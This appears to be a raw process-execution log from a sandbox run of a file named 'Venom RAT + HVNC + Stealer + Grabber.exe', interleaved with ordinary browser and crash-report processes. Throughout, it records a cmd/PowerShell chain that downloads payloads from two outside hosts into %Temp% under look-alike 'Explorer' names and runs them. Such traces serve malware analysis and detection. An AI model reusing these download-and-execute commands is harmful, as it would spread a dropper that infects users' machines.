C:\Windows\system32\WerFault.exe -u -p 944 -s 1584

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe'

C:\Windows\system32\taskmgr.exe

"C:\Windows\system32\taskmgr.exe" /4

C:\Windows\system32\OpenWith.exe

C:\Windows\system32\OpenWith.exe -Embedding

C:\Users\Admin\Desktop\Venom\Venom RAT + HVNC + Stealer + Grabber.exe

"C:\Users\Admin\Desktop\Venom\Venom RAT + HVNC + Stealer + Grabber.exe"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /c powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', '%Temp%\\ExpIorer.exe') & powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', '%Temp%\\ExplIorer.exe') & powershell Start-Process -FilePath '%Temp%\\ExpIorer.exe' & powershell Start-Process -FilePath '%Temp%\\ExplIorer.exe' & exit

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe')

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe')

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe'

C:\Users\Admin\Desktop\Venom\Venom RAT + HVNC + Stealer + Grabber.exe

"C:\Users\Admin\Desktop\Venom\Venom RAT + HVNC + Stealer + Grabber.exe"

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -u -p 5188 -s 1596

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /c powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', '%Temp%\\ExpIorer.exe') & powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', '%Temp%\\ExplIorer.exe') & powershell Start-Process -FilePath '%Temp%\\ExpIorer.exe' & powershell Start-Process -FilePath '%Temp%\\ExplIorer.exe' & exit

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -pss -s 444 -p 5188 -ip 5188

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe')

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe')

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -pss -s 444 -p 452 -ip 452

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -u -p 452 -s 1620

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe'

C:\Users\Admin\Desktop\Venom\Venom RAT + HVNC + Stealer + Grabber.exe

"C:\Users\Admin\Desktop\Venom\Venom RAT + HVNC + Stealer + Grabber.exe"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /c powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', '%Temp%\\ExpIorer.exe') & powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', '%Temp%\\ExplIorer.exe') & powershell Start-Process -FilePath '%Temp%\\ExpIorer.exe' & powershell Start-Process -FilePath '%Temp%\\ExplIorer.exe' & exit

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe')

C:\Users\Admin\Desktop\Venom\Venom RAT + HVNC + Stealer + Grabber.exe

"C:\Users\Admin\Desktop\Venom\Venom RAT + HVNC + Stealer + Grabber.exe"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /c powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', '%Temp%\\ExpIorer.exe') & powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', '%Temp%\\ExplIorer.exe') & powershell Start-Process -FilePath '%Temp%\\ExpIorer.exe' & powershell Start-Process -FilePath '%Temp%\\ExplIorer.exe' & exit

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe')

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe')

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe')

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -pss -s 584 -p 4356 -ip 4356

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -u -p 4356 -s 1620

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -pss -s 580 -p 6440 -ip 6440

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -u -p 6440 -s 1600

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe'

C:\Users\Admin\Desktop\Venom\Venom RAT + HVNC + Stealer + Grabber.exe

"C:\Users\Admin\Desktop\Venom\Venom RAT + HVNC + Stealer + Grabber.exe"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /c powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', '%Temp%\\ExpIorer.exe') & powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', '%Temp%\\ExplIorer.exe') & powershell Start-Process -FilePath '%Temp%\\ExpIorer.exe' & powershell Start-Process -FilePath '%Temp%\\ExplIorer.exe' & exit

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe')

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe')

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe'

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -pss -s 560 -p 6836 -ip 6836

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -u -p 6836 -s 1616

C:\Users\Admin\Desktop\Venom\Venom RAT + HVNC + Stealer + Grabber.exe

"C:\Users\Admin\Desktop\Venom\Venom RAT + HVNC + Stealer + Grabber.exe"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /c powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', '%Temp%\\ExpIorer.exe') & powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', '%Temp%\\ExplIorer.exe') & powershell Start-Process -FilePath '%Temp%\\ExpIorer.exe' & powershell Start-Process -FilePath '%Temp%\\ExplIorer.exe' & exit

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe')

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe')

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe'

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -pss -s 592 -p 6640 -ip 6640

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -u -p 6640 -s 1596

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe'

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.25.1157623675\1991055191" -childID 22 -isForBrowser -prefsHandle 10684 -prefMapHandle 10792 -prefsLen 27290 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {72e1e6ab-bafe-4537-8937-f2eeef272cfe} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 3096 2756570d058 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.26.1051556613\7477289" -childID 23 -isForBrowser -prefsHandle 10340 -prefMapHandle 10272 -prefsLen 27290 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {585b7907-9d98-4453-8be3-a5f0ff3e1395} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 1660 2756688b658 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.27.1596116238\1224376180" -childID 24 -isForBrowser -prefsHandle 10500 -prefMapHandle 10324 -prefsLen 27346 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7c8e71f6-a8c9-4813-92b5-145048e7ddac} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 10124 2755f8b0a58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.28.1340765630\1861428139" -childID 25 -isForBrowser -prefsHandle 9896 -prefMapHandle 10864 -prefsLen 27346 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {82dc574b-d12e-466d-b456-40911f6973fe} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 2812 27561931f58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.29.1411802412\1443018308" -childID 26 -isForBrowser -prefsHandle 4692 -prefMapHandle 4664 -prefsLen 27346 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {bb02d427-b0e1-4fc1-a117-d621a9ddc2f5} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 4624 275653de258 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.30.933406923\1473532267" -childID 27 -isForBrowser -prefsHandle 2892 -prefMapHandle 4656 -prefsLen 27346 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {80268aee-d225-45b5-a703-493d8d9f29b8} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 11160 27565465558 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.31.1919833828\1124776625" -childID 28 -isForBrowser -prefsHandle 4308 -prefMapHandle 6464 -prefsLen 27346 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f88f7fb7-2112-4a69-add2-f0546942f6d4} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 10252 27564d45f58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.32.636016360\1866403887" -childID 29 -isForBrowser -prefsHandle 9768 -prefMapHandle 10280 -prefsLen 27346 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9622a03d-d239-4257-928c-196ab670d982} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 7608 2755f8b1c58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.33.205181555\55672475" -childID 30 -isForBrowser -prefsHandle 10816 -prefMapHandle 4912 -prefsLen 27346 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {35c771d8-1adf-4b33-9f3a-42ad1f7a6793} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 9852 2756570ca58 tab

C:\Windows\helppane.exe

C:\Windows\helppane.exe -Embedding

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument microsoft-edge:https://go.microsoft.com/fwlink/?LinkId=528884

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffdbd4846f8,0x7ffdbd484708,0x7ffdbd484718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2096,7565990568468507696,6200535595332956932,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2164 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2096,7565990568468507696,6200535595332956932,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2740 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2096,7565990568468507696,6200535595332956932,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2108 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,7565990568468507696,6200535595332956932,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3352 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,7565990568468507696,6200535595332956932,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3364 /prefetch:1

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,7565990568468507696,6200535595332956932,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4548 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,7565990568468507696,6200535595332956932,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4816 /prefetch:1

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.34.1038656650\472051643" -childID 31 -isForBrowser -prefsHandle 10500 -prefMapHandle 9924 -prefsLen 29401 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d6d3adee-6927-4900-ac9c-fd167a31b05c} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 10060 275656fbb58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.35.161178240\918137271" -childID 32 -isForBrowser -prefsHandle 5212 -prefMapHandle 10188 -prefsLen 29401 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {058099a1-9f33-4ee6-9f90-52a2a247f727} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 6368 2756570cd58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.36.726044226\1105122445" -childID 33 -isForBrowser -prefsHandle 5316 -prefMapHandle 5684 -prefsLen 29401 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ea0966f6-4644-4798-ad1e-02325970b27d} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 4376 2756570ee58 tab

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=2096,7565990568468507696,6200535595332956932,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5064 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=2096,7565990568468507696,6200535595332956932,131072 --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=5060 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,7565990568468507696,6200535595332956932,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5224 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,7565990568468507696,6200535595332956932,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2528 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,7565990568468507696,6200535595332956932,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5336 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,7565990568468507696,6200535595332956932,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1368 /prefetch:1

C:\Windows\system32\taskmgr.exe

"C:\Windows\system32\taskmgr.exe" /4

C:\Program Files\7-Zip\7zG.exe

"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\VenomRAT v6.0.3(1)\" -spe -an -ai#7zMap23860:98:7zEvent25151

C:\Program Files\7-Zip\7zFM.exe

"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\Downloads\VenomRAT v6.0.3(1).rar"

C:\Users\Admin\Desktop\VenomRAT v6.0.3\Venom RAT + HVNC + Stealer + Grabber.exe

"C:\Users\Admin\Desktop\VenomRAT v6.0.3\Venom RAT + HVNC + Stealer + Grabber.exe"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /c powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', '%Temp%\\ExpIorer.exe') & powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', '%Temp%\\ExplIorer.exe') & powershell Start-Process -FilePath '%Temp%\\ExpIorer.exe' & powershell Start-Process -FilePath '%Temp%\\ExplIorer.exe' & exit

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe')

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe')

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -pss -s 444 -p 6808 -ip 6808

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -u -p 6808 -s 1592

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe'

C:\Users\Admin\Desktop\VenomRAT v6.0.3\Venom RAT + HVNC + Stealer + Grabber.exe

"C:\Users\Admin\Desktop\VenomRAT v6.0.3\Venom RAT + HVNC + Stealer + Grabber.exe"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /c powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', '%Temp%\\ExpIorer.exe') & powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', '%Temp%\\ExplIorer.exe') & powershell Start-Process -FilePath '%Temp%\\ExpIorer.exe' & powershell Start-Process -FilePath '%Temp%\\ExplIorer.exe' & exit

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe')

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe')

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe'

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -pss -s 564 -p 4468 -ip 4468

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -u -p 4468 -s 1604

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe'

C:\Windows\system32\taskmgr.exe

"C:\Windows\system32\taskmgr.exe" /4

C:\Users\Admin\Desktop\VenomRAT v6.0.3\Venom RAT + HVNC + Stealer + Grabber.exe

"C:\Users\Admin\Desktop\VenomRAT v6.0.3\Venom RAT + HVNC + Stealer + Grabber.exe"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /c powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', '%Temp%\\ExpIorer.exe') & powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', '%Temp%\\ExplIorer.exe') & powershell Start-Process -FilePath '%Temp%\\ExpIorer.exe' & powershell Start-Process -FilePath '%Temp%\\ExplIorer.exe' & exit

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe')

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe')

C:\Users\Admin\Desktop\VenomRAT v6.0.3\Venom RAT + HVNC + Stealer + Grabber.exe

"C:\Users\Admin\Desktop\VenomRAT v6.0.3\Venom RAT + HVNC + Stealer + Grabber.exe"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /c powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', '%Temp%\\ExpIorer.exe') & powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', '%Temp%\\ExplIorer.exe') & powershell Start-Process -FilePath '%Temp%\\ExpIorer.exe' & powershell Start-Process -FilePath '%Temp%\\ExplIorer.exe' & exit

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe')

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe')

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -pss -s 560 -p 6828 -ip 6828

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -u -p 6828 -s 1580

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe'

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -pss -s 416 -p 1376 -ip 1376

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -u -p 1376 -s 1624

